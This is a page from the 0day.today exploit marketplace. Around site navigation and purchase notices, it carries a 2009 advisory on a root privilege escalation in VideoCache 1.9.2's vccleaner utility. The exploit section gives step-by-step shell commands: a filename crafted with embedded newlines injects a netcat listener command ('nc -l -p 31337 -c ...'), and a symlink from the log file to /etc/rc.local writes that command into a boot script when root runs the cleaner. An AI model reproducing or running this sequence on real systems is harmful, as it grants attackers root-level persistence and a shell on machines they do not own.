0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
VideoCache 1.9.2 vccleaner root vulnerability
[=============================================
VideoCache 1.9.2 vccleaner root vulnerability
=============================================
# Title: VideoCache 1.9.2 vccleaner root vulnerability
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Dominick LaTrappe
# Published: 2009-12-16
# Verified: no
view source
print?
====[ SYNOPSIS ]=====================================================
VideoCache is a Squid URL rewriter plugin written in Python for
bandwidth optimization while browsing video sharing websites. Version
1.9.2 allows a user with the privileges of the Squid proxy server to
append semi-arbitrary data to arbitrary files with root privileges, upon
the administrator's execution of the 'vccleaner' utility.
====[ DISCUSSION ]===================================================
VideoCache's 'vccleaner' utility is intended to be executed with root
permissions periodically, to remove expired videos from the cache.
(The utility will refuse to execute without root permissions.)
Upon execution, it looks for old files under the cache directory
/var/spool/videocache (writable by the Squid proxy user) and deletes
them. Each deleted filename is logged to vccleaner.log, located in
/var/log/videocache (directory writable by the Squid proxy user).
====[ EXPLOIT ]======================================================
.........................attacker.........................
$ id
uid=13(proxy) gid=13(proxy) groups=13(proxy)
$ cd /var/log/videocache
$ touch -d 19700101 "/var/spool/videocache/youtube/money
nc -l -p 31337 -c sushi
monkey"
$ rm -f vccleaner.log
$ ln -s /etc/rc.local vccleaner.log
.........................admin.........................
# id
uid=0(root) gid=0(root) groups=0(root)
# vccleaner
Videocache cleaning has completed successfully.
.........................postmortem.........................
$ cat /etc/rc.local
2009-12-16 06:56:29,403 INFO START Starting Videocache Cleaner.
2009-12-16 06:56:29,403 INFO DELETE /var/spool/videocache/youtube/money
nc -l -p 31337 -c sushi
monkey Older than 14594 day(s) was deleted.
2009-12-16 06:56:29,404 INFO STOP Stopping Videocache Cleaner.
====[ SHOUT OUTS ]===================================================
Tim, Ben, my buddies at GS, Alien Time Agent, and big man O.
# 0day.today [2024-12-26] #